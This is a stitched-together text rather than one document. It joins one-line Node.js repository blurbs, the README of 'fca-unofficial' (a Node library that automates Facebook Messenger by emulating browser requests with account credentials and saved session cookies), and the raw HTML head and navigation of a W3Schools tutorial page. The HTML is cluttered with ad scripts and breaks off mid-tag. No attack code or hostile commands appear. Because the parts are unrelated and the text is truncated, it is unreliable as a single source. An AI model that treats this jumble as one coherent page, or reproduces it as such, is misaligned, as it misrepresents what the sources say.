🔍 node-ignore is the manager and filter for .gitignore rules, the one used by eslint, prettier and many others.

Ignore imported style files when running in Node

bash script for ignoring all files in node_modules for Spotlight

Ignore EPIPE errors when stdout runs through a truncated pipe (such as `head`) in Node.js

This repo is a fork from main repo and will usually have new features bundled faster than main repo (and maybe bundle some bugs, too). # Unofficial Facebook Chat API <img alt="version" src="https://img.shields.io/github/package-json/v/ProCoderMew/fca-unofficial?label=github&style=flat-square"> Facebook now has an official API for chat bots [here](https://developers.facebook.com/docs/messenger-platform). This API is the only way to automate chat functionalities on a user account. We do this by emulating the browser. This means doing the exact same GET/POST requests and tricking Facebook into thinking we're accessing the website normally. Because we're doing it this way, this API won't work with an auth token but requires the credentials of a Facebook account. _Disclaimer_: We are not responsible if your account gets banned for spammy activities such as sending lots of messages to people you don't know, sending messages very quickly, sending spammy looking URLs, logging in and out very quickly... Be responsible Facebook citizens. See [below](#projects-using-this-api) for projects using this API. ## Install If you just want to use fca-unofficial, you should use this command: ```bash npm install procodermew/fca-unofficial ``` It will download `fca-unofficial` from NPM repositories ## Testing your bots If you want to test your bots without creating another account on Facebook, you can use [Facebook Whitehat Accounts](https://www.facebook.com/whitehat/accounts/). ## Example Usage ```javascript const login = require("fca-unofficial"); // Create simple echo bot login({email: "FB_EMAIL", password: "FB_PASSWORD"}, (err, api) => { if(err) return console.error(err); api.listen((err, message) => { api.sendMessage(message.body, message.threadID); }); }); ``` Result: <img width="517" alt="screen shot 2016-11-04 at 14 36 00" src="https://cloud.githubusercontent.com/assets/4534692/20023545/f8c24130-a29d-11e6-9ef7-47568bdbc1f2.png"> ## Documentation You can see it [here](DOCS.md). ## Main Functionality ### Sending a message #### api.sendMessage(message, threadID[, callback][, messageID]) Various types of message can be sent: * *Regular:* set field `body` to the desired message as a string. * *Sticker:* set a field `sticker` to the desired sticker ID. * *File or image:* Set field `attachment` to a readable stream or an array of readable streams. * *URL:* set a field `url` to the desired URL. * *Emoji:* set field `emoji` to the desired emoji as a string and set field `emojiSize` with size of the emoji (`small`, `medium`, `large`) Note that a message can only be a regular message (which can be empty) and optionally one of the following: a sticker, an attachment or a url. __Tip__: to find your own ID, you can look inside the cookies. The `userID` is under the name `c_user`. __Example (Basic Message)__ ```js const login = require("fca-unofficial"); login({email: "FB_EMAIL", password: "FB_PASSWORD"}, (err, api) => { if(err) return console.error(err); var yourID = "000000000000000"; var msg = "Hey!"; api.sendMessage(msg, yourID); }); ``` __Example (File upload)__ ```js const login = require("fca-unofficial"); login({email: "FB_EMAIL", password: "FB_PASSWORD"}, (err, api) => { if(err) return console.error(err); // Note this example uploads an image called image.jpg var yourID = "000000000000000"; var msg = { body: "Hey!", attachment: fs.createReadStream(__dirname + '/image.jpg') } api.sendMessage(msg, yourID); }); ``` ------------------------------------ ### Saving session. To avoid logging in every time you should save AppState (cookies etc.) to a file, then you can use it without having password in your scripts. __Example__ ```js const fs = require("fs"); const login = require("fca-unofficial"); var credentials = {email: "FB_EMAIL", password: "FB_PASSWORD"}; login(credentials, (err, api) => { if(err) return console.error(err); fs.writeFileSync('appstate.json', JSON.stringify(api.getAppState())); }); ``` Alternative: Use [c3c-fbstate](https://github.com/c3cbot/c3c-fbstate) to get fbstate.json (appstate.json) ------------------------------------ ### Listening to a chat #### api.listen(callback) Listen watches for messages sent in a chat. By default this won't receive events (joining/leaving a chat, title change etc…) but it can be activated with `api.setOptions({listenEvents: true})`. This will by default ignore messages sent by the current account, you can enable listening to your own messages with `api.setOptions({selfListen: true})`. __Example__ ```js const fs = require("fs"); const login = require("fca-unofficial"); // Simple echo bot. It will repeat everything that you say. // Will stop when you say '/stop' login({appState: JSON.parse(fs.readFileSync('appstate.json', 'utf8'))}, (err, api) => { if(err) return console.error(err); api.setOptions({listenEvents: true}); var stopListening = api.listenMqtt((err, event) => { if(err) return console.error(err); api.markAsRead(event.threadID, (err) => { if(err) console.error(err); }); switch(event.type) { case "message": if(event.body === '/stop') { api.sendMessage("Goodbye…", event.threadID); return stopListening(); } api.sendMessage("TEST BOT: " + event.body, event.threadID); break; case "event": console.log(event); break; } }); }); ``` ## FAQS 1. How do I run tests? > For tests, create a `test-config.json` file that resembles `example-config.json` and put it in the `test` directory. From the root >directory, run `npm test`. 2. Why doesn't `sendMessage` always work when I'm logged in as a page? > Pages can't start conversations with users directly; this is to prevent pages from spamming users. 3. What do I do when `login` doesn't work? > First check that you can login to Facebook using the website. If login approvals are enabled, you might be logging in incorrectly. For how to handle login approvals, read our docs on [`login`](DOCS.md#login). 4. How can I avoid logging in every time? Can I log into a previous session? > We support caching everything relevant for you to bypass login. `api.getAppState()` returns an object that you can save and pass into login as `{appState: mySavedAppState}` instead of the credentials object. If this fails, your session has expired. 5. Do you support sending messages as a page? > Yes, set the pageID option on login (this doesn't work if you set it using api.setOptions, it affects the login process). > ```js > login(credentials, {pageID: "000000000000000"}, (err, api) => { … } > ``` 6. I'm getting some crazy weird syntax error like `SyntaxError: Unexpected token [`!!! > Please try to update your version of node.js before submitting an issue of this nature. We like to use new language features. 7. I don't want all of these logging messages! > You can use `api.setOptions` to silence the logging. You get the `api` object from `login` (see example above). Do > ```js > api.setOptions({ > logLevel: "silent" > }); > ``` <a name="projects-using-this-api"></a> ## Projects using this API: - [c3c](https://github.com/lequanglam/c3c) - A bot that can be customizable using plugins. Support Facebook & Discord. - [Miraiv2](https://github.com/miraiPr0ject/miraiv2) - A simple Facebook Messenger Bot made by CatalizCS and SpermLord. ## Projects using this API (original repository, facebook-chat-api): - [Messer](https://github.com/mjkaufer/Messer) - Command-line messaging for Facebook Messenger - [messen](https://github.com/tomquirk/messen) - Rapidly build Facebook Messenger apps in Node.js - [Concierge](https://github.com/concierge/Concierge) - Concierge is a highly modular, easily extensible general purpose chat bot with a built in package manager - [Marc Zuckerbot](https://github.com/bsansouci/marc-zuckerbot) - Facebook chat bot - [Marc Thuckerbot](https://github.com/bsansouci/lisp-bot) - Programmable lisp bot - [MarkovsInequality](https://github.com/logicx24/MarkovsInequality) - Extensible chat bot adding useful functions to Facebook Messenger - [AllanBot](https://github.com/AllanWang/AllanBot-Public) - Extensive module that combines the facebook api with firebase to create numerous functions; no coding experience is required to implement this. - [Larry Pudding Dog Bot](https://github.com/Larry850806/facebook-chat-bot) - A facebook bot you can easily customize the response - [fbash](https://github.com/avikj/fbash) - Run commands on your computer's terminal over Facebook Messenger - [Klink](https://github.com/KeNt178/klink) - This Chrome extension will 1-click share the link of your active tab over Facebook Messenger - [Botyo](https://github.com/ivkos/botyo) - Modular bot designed for group chat rooms on Facebook - [matrix-puppet-facebook](https://github.com/matrix-hacks/matrix-puppet-facebook) - A facebook bridge for [matrix](https://matrix.org) - [facebot](https://github.com/Weetbix/facebot) - A facebook bridge for Slack. - [Botium](https://github.com/codeforequity-at/botium-core) - The Selenium for Chatbots - [Messenger-CLI](https://github.com/AstroCB/Messenger-CLI) - A command-line interface for sending and receiving messages through Facebook Messenger. - [AssumeZero-Bot](https://github.com/AstroCB/AssumeZero-Bot) – A highly customizable Facebook Messenger bot for group chats. - [Miscord](https://github.com/Bjornskjald/miscord) - An easy-to-use Facebook bridge for Discord. - [chat-bridge](https://github.com/rexx0520/chat-bridge) - A Messenger, Telegram and IRC chat bridge. - [messenger-auto-reply](https://gitlab.com/theSander/messenger-auto-reply) - An auto-reply service for Messenger. - [BotCore](https://github.com/AstroCB/BotCore) – A collection of tools for writing and managing Facebook Messenger bots. - [mnotify](https://github.com/AstroCB/mnotify) – A command-line utility for sending alerts and notifications through Facebook Messenger.

<html lang="en-US"><head><script type="text/javascript" async="" src="https://script.4dex.io/localstore.js"></script> <title>HTML p tag</title> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta name="Keywords" content="HTML, Python, CSS, SQL, JavaScript, How to, PHP, Java, C, C++, C#, jQuery, Bootstrap, Colors, W3.CSS, XML, MySQL, Icons, NodeJS, React, Graphics, Angular, R, AI, Git, Data Science, Code Game, Tutorials, Programming, Web Development, Training, Learning, Quiz, Exercises, Courses, Lessons, References, Examples, Learn to code, Source code, Demos, Tips, Website"> <meta name="Description" content="Well organized and easy to understand Web building tutorials with lots of examples of how to use HTML, CSS, JavaScript, SQL, Python, PHP, Bootstrap, Java, XML and more."> <meta property="og:image" content="https://www.w3schools.com/images/w3schools_logo_436_2.png"> <meta property="og:image:type" content="image/png"> <meta property="og:image:width" content="436"> <meta property="og:image:height" content="228"> <meta property="og:description" content="W3Schools offers free online tutorials, references and exercises in all the major languages of the web. Covering popular subjects like HTML, CSS, JavaScript, Python, SQL, Java, and many, many more."> <link rel="icon" href="/favicon.ico" type="image/x-icon"> <link rel="preload" href="/lib/fonts/fontawesome.woff2?14663396" as="font" type="font/woff2" crossorigin=""> <link rel="preload" href="/lib/fonts/source-code-pro-v14-latin-regular.woff2" as="font" type="font/woff2" crossorigin=""> <link rel="preload" href="/lib/fonts/roboto-mono-v13-latin-500.woff2" as="font" type="font/woff2" crossorigin=""> <link rel="preload" href="/lib/fonts/source-sans-pro-v14-latin-700.woff2" as="font" type="font/woff2" crossorigin=""> <link rel="preload" href="/lib/fonts/source-sans-pro-v14-latin-600.woff2" as="font" type="font/woff2" crossorigin=""> <link rel="preload" href="/lib/fonts/freckle-face-v9-latin-regular.woff2" as="font" type="font/woff2" crossorigin=""> <link rel="stylesheet" href="/lib/w3schools30.css"> <script async="" src="//confiant-integrations.global.ssl.fastly.net/prebid/202204201359/wrap.js"></script><script type="text/javascript" src="https://confiant-integrations.global.ssl.fastly.net/t_Qv_vWzcBDsyn934F1E0MWBb1c/prebid/config.js" async=""></script><script type="text/javascript" async="" src="https://www.google-analytics.com/gtm/js?id=GTM-WJ88MZ5&amp;cid=1308236804.1650718121"></script><script async="" src="https://www.google-analytics.com/analytics.js"></script><script> (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){ (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o), m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m) })(window,document,'script','https://www.google-analytics.com/analytics.js','ga'); ga('create', 'UA-3855518-1', 'auto'); ga('require', 'displayfeatures'); ga('require', 'GTM-WJ88MZ5'); ga('send', 'pageview'); </script> <script src="/lib/uic.js?v=1.0.3"></script> <script data-cfasync="false" type="text/javascript"> var k42 = false; k42 = true; </script> <script data-cfasync="false" type="text/javascript"> window.snigelPubConf = { "adengine": { "activeAdUnits": ["main_leaderboard", "sidebar_top", "bottom_left", "bottom_right"] } } uic_r_a() </script> <script async="" data-cfasync="false" src="https://cdn.snigelweb.com/adengine/w3schools.com/loader.js" type="text/javascript"></script> <script src="/lib/my-learning.js?v=1.0.9"></script> <script type="text/javascript"> var stickyadstatus = ""; function fix_stickyad() { document.getElementById("stickypos").style.position = "sticky"; var elem = document.getElementById("stickyadcontainer"); if (!elem) {return false;} if (document.getElementById("skyscraper")) { var skyWidth = Number(w3_getStyleValue(document.getElementById("skyscraper"), "width").replace("px", "")); } else { var skyWidth = Number(w3_getStyleValue(document.getElementById("right"), "width").replace("px", "")); } elem.style.width = skyWidth + "px"; if (window.innerWidth <= 992) { elem.style.position = ""; elem.style.top = stickypos + "px"; return false; } var stickypos = document.getElementById("stickypos").offsetTop; var docTop = window.pageYOffset || document.documentElement.scrollTop || document.body.scrollTop; var adHeight = Number(w3_getStyleValue(elem, "height").replace("px", "")); if (stickyadstatus == "") { if ((stickypos - docTop) < 60) { elem.style.position = "fixed"; elem.style.top = "60px"; stickyadstatus = "sticky"; document.getElementById("stickypos").style.position = "sticky"; } } else { if ((docTop + 60) - stickypos < 0) { elem.style.position = ""; elem.style.top = stickypos + "px"; stickyadstatus = ""; document.getElementById("stickypos").style.position = "static"; } } if (stickyadstatus == "sticky") { if ((docTop + adHeight + 60) > document.getElementById("footer").offsetTop) { elem.style.position = "absolute"; elem.style.top = (document.getElementById("footer").offsetTop - adHeight) + "px"; document.getElementById("stickypos").style.position = "static"; } else { elem.style.position = "fixed"; elem.style.top = "60px"; stickyadstatus = "sticky"; document.getElementById("stickypos").style.position = "sticky"; } } } function w3_getStyleValue(elmnt,style) { if (window.getComputedStyle) { return window.getComputedStyle(elmnt,null).getPropertyValue(style); } else { return elmnt.currentStyle[style]; } } </script> <link rel="stylesheet" type="text/css" href="/browserref.css"> <script type="text/javascript" async="" src="//cdn.snigelweb.com/prebid/5.20.2/prebid.js?v=3547-1650632016452"></script><script type="text/javascript" async="" src="//c.amazon-adsystem.com/aax2/apstag.js"></script><script type="text/javascript" async="" src="//securepubads.g.doubleclick.net/tag/js/gpt.js"></script><script type="text/javascript" async="" src="https://adengine.snigelweb.com/w3schools.com/3547-1650632016452/adngin.js"></script><script type="text/javascript" async="" src="//cdn.snigelweb.com/argus/argus.js"></script><meta http-equiv="origin-trial" content="AxujKG9INjsZ8/gUq8+dTruNvk7RjZQ1oFhhgQbcTJKDnZfbzSTE81wvC2Hzaf3TW4avA76LTZEMdiedF1vIbA4AAABueyJvcmlnaW4iOiJodHRwczovL2ltYXNkay5nb29nbGVhcGlzLmNvbTo0NDMiLCJmZWF0dXJlIjoiVHJ1c3RUb2tlbnMiLCJleHBpcnkiOjE2NTI3NzQ0MDAsImlzVGhpcmRQYXJ0eSI6dHJ1ZX0="><meta http-equiv="origin-trial" content="Azuce85ORtSnWe1MZDTv68qpaW3iHyfL9YbLRy0cwcCZwVnePnOmkUJlG8HGikmOwhZU22dElCcfrfX2HhrBPAkAAAB7eyJvcmlnaW4iOiJodHRwczovL2RvdWJsZWNsaWNrLm5ldDo0NDMiLCJmZWF0dXJlIjoiVHJ1c3RUb2tlbnMiLCJleHBpcnkiOjE2NTI3NzQ0MDAsImlzU3ViZG9tYWluIjp0cnVlLCJpc1RoaXJkUGFydHkiOnRydWV9"><meta http-equiv="origin-trial" content="A16nvcdeoOAqrJcmjLRpl1I6f3McDD8EfofAYTt/P/H4/AWwB99nxiPp6kA0fXoiZav908Z8etuL16laFPUdfQsAAACBeyJvcmlnaW4iOiJodHRwczovL2dvb2dsZXRhZ3NlcnZpY2VzLmNvbTo0NDMiLCJmZWF0dXJlIjoiVHJ1c3RUb2tlbnMiLCJleHBpcnkiOjE2NTI3NzQ0MDAsImlzU3ViZG9tYWluIjp0cnVlLCJpc1RoaXJkUGFydHkiOnRydWV9"><meta http-equiv="origin-trial" content="AxBHdr0J44vFBQtZUqX9sjiqf5yWZ/OcHRcRMN3H9TH+t90V/j3ENW6C8+igBZFXMJ7G3Pr8Dd13632aLng42wgAAACBeyJvcmlnaW4iOiJodHRwczovL2dvb2dsZXN5bmRpY2F0aW9uLmNvbTo0NDMiLCJmZWF0dXJlIjoiVHJ1c3RUb2tlbnMiLCJleHBpcnkiOjE2NTI3NzQ0MDAsImlzU3ViZG9tYWluIjp0cnVlLCJpc1RoaXJkUGFydHkiOnRydWV9"><meta http-equiv="origin-trial" content="A88BWHFjcawUfKU3lIejLoryXoyjooBXLgWmGh+hNcqMK44cugvsI5YZbNarYvi3roc1fYbHA1AVbhAtuHZflgEAAAB2eyJvcmlnaW4iOiJodHRwczovL2dvb2dsZS5jb206NDQzIiwiZmVhdHVyZSI6IlRydXN0VG9rZW5zIiwiZXhwaXJ5IjoxNjUyNzc0NDAwLCJpc1N1YmRvbWFpbiI6dHJ1ZSwiaXNUaGlyZFBhcnR5Ijp0cnVlfQ=="><meta http-equiv="origin-trial" content="AzoawhTRDevLR66Y6MROu167EDncFPBvcKOaQispTo9ouEt5LvcBjnRFqiAByRT+2cDHG1Yj4dXwpLeIhc98/gIAAACFeyJvcmlnaW4iOiJodHRwczovL2RvdWJsZWNsaWNrLm5ldDo0NDMiLCJmZWF0dXJlIjoiUHJpdmFjeVNhbmRib3hBZHNBUElzIiwiZXhwaXJ5IjoxNjYxMjk5MTk5LCJpc1N1YmRvbWFpbiI6dHJ1ZSwiaXNUaGlyZFBhcnR5Ijp0cnVlfQ=="><meta http-equiv="origin-trial" content="A6+nc62kbJgC46ypOwRsNW6RkDn2x7tgRh0wp7jb3DtFF7oEhu1hhm4rdZHZ6zXvnKZLlYcBlQUImC4d3kKihAcAAACLeyJvcmlnaW4iOiJodHRwczovL2dvb2dsZXN5bmRpY2F0aW9uLmNvbTo0NDMiLCJmZWF0dXJlIjoiUHJpdmFjeVNhbmRib3hBZHNBUElzIiwiZXhwaXJ5IjoxNjYxMjk5MTk5LCJpc1N1YmRvbWFpbiI6dHJ1ZSwiaXNUaGlyZFBhcnR5Ijp0cnVlfQ=="><meta http-equiv="origin-trial" content="A/9La288e7MDEU2ifusFnMg1C2Ij6uoa/Z/ylwJIXSsWfK37oESIPbxbt4IU86OGqDEPnNVruUiMjfKo65H/CQwAAACLeyJvcmlnaW4iOiJodHRwczovL2dvb2dsZXRhZ3NlcnZpY2VzLmNvbTo0NDMiLCJmZWF0dXJlIjoiUHJpdmFjeVNhbmRib3hBZHNBUElzIiwiZXhwaXJ5IjoxNjYxMjk5MTk5LCJpc1N1YmRvbWFpbiI6dHJ1ZSwiaXNUaGlyZFBhcnR5Ijp0cnVlfQ=="><script src="https://securepubads.g.doubleclick.net/gpt/pubads_impl_2022042001.js?cb=31067210" async=""></script><argprec0></argprec0><argprec1></argprec1><style type="text/css">.snigel-cmp-framework .sn-inner {background-color:#fffefe!important;}.snigel-cmp-framework .sn-b-def {border-color:#04aa6d!important;color:#04aa6d!important;}.snigel-cmp-framework .sn-b-def.sn-blue {color:#ffffff!important;background-color:#04aa6d!important;border-color:#04aa6d!important;}.snigel-cmp-framework .sn-selector ul li {color:#04aa6d!important;}.snigel-cmp-framework .sn-selector ul li:after {background-color:#04aa6d!important;}.snigel-cmp-framework .sn-footer-tab .sn-privacy a {color:#04aa6d!important;}.snigel-cmp-framework .sn-arrow:after,.snigel-cmp-framework .sn-arrow:before {background-color:#04aa6d!important;}.snigel-cmp-framework .sn-switch input:checked + span::before {background-color:#04aa6d!important;}#adconsent-usp-link {border: 1px solid #04aa6d!important;color:#04aa6d!important;}#adconsent-usp-banner-optout input:checked + .adconsent-usp-slider {background-color:#04aa6d!important;}#adconsent-usp-banner-btn {color:#ffffff;border: solid 1px #04aa6d!important;background-color:#04aa6d!important; }</style><link rel="preload" href="https://adservice.google.co.in/adsid/integrator.js?domain=www.w3schools.com" as="script"><script type="text/javascript" src="https://adservice.google.co.in/adsid/integrator.js?domain=www.w3schools.com"></script><link rel="preload" href="https://adservice.google.com/adsid/integrator.js?domain=www.w3schools.com" as="script"><script type="text/javascript" src="https://adservice.google.com/adsid/integrator.js?domain=www.w3schools.com"></script><meta http-equiv="origin-trial" content="A4/Htern2udN9w3yJK9QgWQxQFruxOXsXL7cW60DyCl0EZFGCSme/J33Q/WzF7bBkVvhEWDlcBiUyZaim5CpFQwAAACceyJvcmlnaW4iOiJodHRwczovL2dvb2dsZXRhZ3NlcnZpY2VzLmNvbTo0NDMiLCJmZWF0dXJlIjoiQ29udmVyc2lvbk1lYXN1cmVtZW50IiwiZXhwaXJ5IjoxNjQzMTU1MTk5LCJpc1N1YmRvbWFpbiI6dHJ1ZSwiaXNUaGlyZFBhcnR5Ijp0cnVlLCJ1c2FnZSI6InN1YnNldCJ9"><meta http-equiv="origin-trial" content="A4/Htern2udN9w3yJK9QgWQxQFruxOXsXL7cW60DyCl0EZFGCSme/J33Q/WzF7bBkVvhEWDlcBiUyZaim5CpFQwAAACceyJvcmlnaW4iOiJodHRwczovL2dvb2dsZXRhZ3NlcnZpY2VzLmNvbTo0NDMiLCJmZWF0dXJlIjoiQ29udmVyc2lvbk1lYXN1cmVtZW50IiwiZXhwaXJ5IjoxNjQzMTU1MTk5LCJpc1N1YmRvbWFpbiI6dHJ1ZSwiaXNUaGlyZFBhcnR5Ijp0cnVlLCJ1c2FnZSI6InN1YnNldCJ9"><meta http-equiv="origin-trial" content="A4/Htern2udN9w3yJK9QgWQxQFruxOXsXL7cW60DyCl0EZFGCSme/J33Q/WzF7bBkVvhEWDlcBiUyZaim5CpFQwAAACceyJvcmlnaW4iOiJodHRwczovL2dvb2dsZXRhZ3NlcnZpY2VzLmNvbTo0NDMiLCJmZWF0dXJlIjoiQ29udmVyc2lvbk1lYXN1cmVtZW50IiwiZXhwaXJ5IjoxNjQzMTU1MTk5LCJpc1N1YmRvbWFpbiI6dHJ1ZSwiaXNUaGlyZFBhcnR5Ijp0cnVlLCJ1c2FnZSI6InN1YnNldCJ9"><meta http-equiv="origin-trial" content="A4/Htern2udN9w3yJK9QgWQxQFruxOXsXL7cW60DyCl0EZFGCSme/J33Q/WzF7bBkVvhEWDlcBiUyZaim5CpFQwAAACceyJvcmlnaW4iOiJodHRwczovL2dvb2dsZXRhZ3NlcnZpY2VzLmNvbTo0NDMiLCJmZWF0dXJlIjoiQ29udmVyc2lvbk1lYXN1cmVtZW50IiwiZXhwaXJ5IjoxNjQzMTU1MTk5LCJpc1N1YmRvbWFpbiI6dHJ1ZSwiaXNUaGlyZFBhcnR5Ijp0cnVlLCJ1c2FnZSI6InN1YnNldCJ9"><link rel="preload" href="https://adservice.google.co.in/adsid/integrator.js?domain=www.w3schools.com" as="script"><script type="text/javascript" src="https://adservice.google.co.in/adsid/integrator.js?domain=www.w3schools.com"></script><link rel="preload" href="https://adservice.google.com/adsid/integrator.js?domain=www.w3schools.com" as="script"><script type="text/javascript" src="https://adservice.google.com/adsid/integrator.js?domain=www.w3schools.com"></script></head> <body> <style> #darkmodemenu { position:absolute; top:-40px; right:16px; padding:5px 20px 10px 18px; border-bottom-left-radius:5px; border-bottom-right-radius:5px; z-index:-1; transition: top 0.2s; user-select: none; } #darkmodemenu input,#darkmodemenu label { cursor:pointer; } </style> <script> ( function setThemeMode() { var x = localStorage.getItem("preferredmode"); var y = localStorage.getItem("preferredpagemode"); if (x == "dark") { document.body.className += " darktheme"; ga('send', 'event', 'theme' , "darkcode"); } if (y == "dark") { document.body.className += " darkpagetheme"; ga('send', 'event', 'theme' , "darkpage"); } })(); </script> <div id="pagetop" class="w3-bar w3-card-2 notranslate"> <a href="https://www.w3schools.com" class="w3-bar-item w3-button w3-hover-none w3-left w3-padding-16" title="Home" style="width:77px"> <i class="fa fa-logo ws-text-green ws-hover-text-green" style="position:relative;font-size:42px!important;"></i> </a> <style> @media screen and (max-width: 1080px) { .ws-hide-1080 { ddddisplay: none !important; } } @media screen and (max-width: 1160px) { .topnavmain_video { display: none !important; } } </style> <a class="w3-bar-item w3-button w3-hide-small barex bar-item-hover w3-padding-24" href="javascript:void(0)" onclick="w3_open_nav('tutorials')" id="navbtn_tutorials" title="Tutorials" style="width:116px">Tutorials <i class="fa fa-caret-down" style="font-size: 20px; display: inline;"></i><i class="fa fa-caret-up" style="display:none"></i></a> <a class="w3-bar-item w3-button w3-hide-small barex bar-item-hover w3-padding-24" href="javascript:void(0)" onclick="w3_open_nav('references')" id="navbtn_references" title="References" style="width:132px">References <i class="fa fa-caret-down" style="font-size: 20px; display: inline;"></i><i class="fa fa-caret-up" style="display:none"></i></a> <a class="w3-bar-item w3-button w3-hide-small barex bar-item-hover w3-padding-24 ws-hide-800" href="javascript:void(0)" onclick="w3_open_nav('exercises')" id="navbtn_exercises" title="Exercises" style="width:118px">Exercises <i class="fa fa-caret-down" style="font-size: 20px; display: inline;"></i><i class="fa fa-caret-up" style="display:none"></i></a> <a class="w3-bar-item w3-button w3-hide-medium bar-item-hover w3-hide-small w3-padding-24 barex topnavmain_video" href="https://www.w3schools.com/videos/index.php" title="Video Tutorials" onclick="ga('send', 'event', 'Videos' , 'fromTopnavMain')">Videos</a> <a class="w3-bar-item w3-button w3-hide-medium bar-item-hover w3-hide-small w3-padding-24 barex" href="/pro/index.php" title="Go Pro" onclick="ga('send', 'event', 'Pro' , 'fromTopnavMainASP')">Pro <span class="ribbon-topnav ws-hide-1080">NEW</span></a> <a class="w3-bar-item w3-button bar-item-hover w3-padding-24" href="javascript:void(0)" onclick="w3_open()" id="navbtn_menu" title="Menu" style="width:93px">Menu <i class="fa fa-caret-down"></i><i class="fa fa-caret-up" style="display:none"></i></a> <div id="loginactioncontainer" class="w3-right w3-padding-16" style="margin-left:50px"> <div id="mypagediv" style="display: none;"></div> <!-- <button id="w3loginbtn" style="border:none;display:none;cursor:pointer" class="login w3-right w3-hover-greener" onclick='w3_open_nav("login")'>LOG IN</button>--> <a id="w3loginbtn" class="w3-bar-item w3-btn bar-item-hover w3-right" style="display: inline; width: 130px; background-color: rgb(4, 170, 109); color: white; border-radius: 25px;" href="https://profile.w3schools.com/log-in?redirect_url=https%3A%2F%2Fmy-learning.w3schools.com" target="_self">Log in</a> </div> <div class="w3-right w3-padding-16"> <!--<a class="w3-bar-item w3-button bar-icon-hover w3-right w3-hover-white w3-hide-large w3-hide-medium" href="javascript:void(0)" onclick="w3_open()" title="Menu"><i class='fa'>&#xf0c9;</i></a> --> <a class="w3-bar-item w3-button bar-item-hover w3-right w3-hide-small barex" style="width: 140px; border-radius: 25px; margin-right: 15px;" href="https://courses.w3schools.com/" target="_blank" id="cert_navbtn" onclick="ga('send', 'event', 'Courses' , 'Clicked on courses in Main top navigation');" title="Courses">Paid Courses</a> <a class="w3-bar-item w3-button bar-item-hover w3-right ws-hide-900 w3-hide-small barex ws-pink" style="border-radius: 25px; margin-right: 15px;" href="https://www.w3schools.com/spaces" target="_blank" onclick="ga('send', 'event', 'spacesFromTopnavMain', 'click');" title="Get Your Own Website With W3Schools Spaces">Website <span class="ribbon-topnav ws-hide-1066">NEW</span></a> </div> </div> <div style="display: none; position: fixed; z-index: 4; right: 52px; height: 44px; background-color: rgb(40, 42, 53); letter-spacing: normal; top: 0px;" id="googleSearch"> <div class="gcse-search"></div> </div> <div style="display: none; position: fixed; z-index: 3; right: 111px; height: 44px; background-color: rgb(40, 42, 53); text-align: right; padding-top: 9px; top: 0px;" id="google_translate_element"></div> <div class="w3-card-2 topnav notranslate" id="topnav" style="position: fixed; top: 0px;"> <div style="overflow:auto;"> <div class="w3-bar w3-left" style="width:100%;overflow:hidden;height:44px"> <a href="javascript:void(0);" class="topnav-icons fa fa-menu w3-hide-large w3-left w3-bar-item w3-button" onclick="open_menu()" title="Menu"></a> <a href="/default.asp" class="topnav-icons fa fa-home w3-left w3-bar-item w3-button" title="Home"></a> <a class="w3-bar-item w3-button" href="/html/default.asp" title="HTML Tutorial" style="padding-left:18px!important;padding-right:18px!important;">HTML</a> <a class="w3-bar-item w3-button" href="/css/default.asp" title="CSS Tutorial">CSS</a> <a class="w3-bar-item w3-button" href="/js/default.asp" title="JavaScript Tutorial">JAVASCRIPT</a> <a class="w3-bar-item w3-button" href="/sql/default.asp" title="SQL Tutorial">SQL</a> <a class="w3-bar-item w3-button" href="/python/default.asp" title="Python Tutorial">PYTHON</a> <a class="w3-bar-item w3-button" href="/php/default.asp" title="PHP Tutorial">PHP</a> <a class="w3-bar-item w3-button" href="/bootstrap/bootstrap_ver.asp" title="Bootstrap Tutorial">BOOTSTRAP</a> <a class="w3-bar-item w3-button" href="/howto/default.asp" title="How To">HOW TO</a> <a class="w3-bar-item w3-button" href="/w3css/default.asp" title="W3.CSS Tutorial">W3.CSS</a> <a class="w3-bar-item w3-button" href="/java/default.asp" title="Java Tutorial">JAVA</a> <a class="w3-bar-item w3-button" href="/jquery/default.asp" title="jQuery Tutorial">JQUERY</a> <a class="w3-bar-item w3-button" href="/c/index.php" title="C Tutorial">C</a> <a class="w3-bar-item w3-button" href="/cpp/default.asp" title="C++ Tutorial">C++</a> <a class="w3-bar-item w3-button" href="/cs/index.php" title="C# Tutorial">C#</a> <a class="w3-bar-item w3-button" href="/r/default.asp" title="R Tutorial">R</a> <a class="w3-bar-item w3-button" href="/react/default.asp" title="React Tutorial">React</a> <a href="javascript:void(0);" class="topnav-icons fa w3-right w3-bar-item w3-button" onclick="gSearch(this)" title="Search W3Schools"></a> <a href="javascript:void(0);" class="topnav-icons fa w3-right w3-bar-item w3-button" onclick="gTra(this)" title="Translate W3Schools"></a> <!-- <a href='javascript:void(0);' class='topnav-icons fa w3-right w3-bar-item w3-button' onclick='changecodetheme(this)' title='Toggle Dark Code Examples'>&#xe80b;</a>--> <a href="javascript:void(0);" class="topnav-icons fa w3-right w3-bar-item w3-button" onmouseover="mouseoverdarkicon()" onmouseout="mouseoutofdarkicon()" onclick="changepagetheme(2)"></a> <!-- <a class="w3-bar-item w3-button w3-right" id='topnavbtn_exercises' href='javascript:void(0);' onclick='w3_open_nav("exercises")' title='Exercises'>EXERCISES <i class='fa fa-caret-down'></i><i class='fa fa-caret-up' style='display:none'></i></a> --> </div> <div id="darkmodemenu" class="ws-black" onmouseover="mouseoverdarkicon()" onmouseout="mouseoutofdarkicon()" style="top: -40px;"> <input id="radio_darkpage" type="checkbox" name="radio_theme_mode" onclick="click_darkpage()"><label for="radio_darkpage"> Dark mode</label> <br> <input id="radio_darkcode" type="checkbox" name="radio_theme_mode" onclick="click_darkcode()"><label for="radio_darkcode"> Dark code</label> </div> <nav id="nav_tutorials" class="w3-hide-small" style="position: absolute; padding-bottom: 60px; display: none;"> <div class="w3-content" style="max-width:1100px;font-size:18px"> <span onclick="w3_close_nav('tutorials')" class="w3-button w3-xxxlarge w3-display-topright w3-hover-white sectionxsclosenavspan" style="padding-right:30px;padding-left:30px;">×</span><br> <div class="w3-row-padding w3-bar-block"> <div class="w3-container" style="padding-left:13px"> <h2 style="color:#FFF4A3;"><b>Tutorials</b></h2> </div> <div class="w3-col l3 m6"> <h3 class="w3-margin-top">HTML and CSS</h3> <a class="w3-bar-item w3-button" href="/html/default.asp">Learn HTML</a> <a class="w3-bar-item w3-button" href="/css/default.asp">Learn CSS</a> <a class="w3-bar-item w3-button" 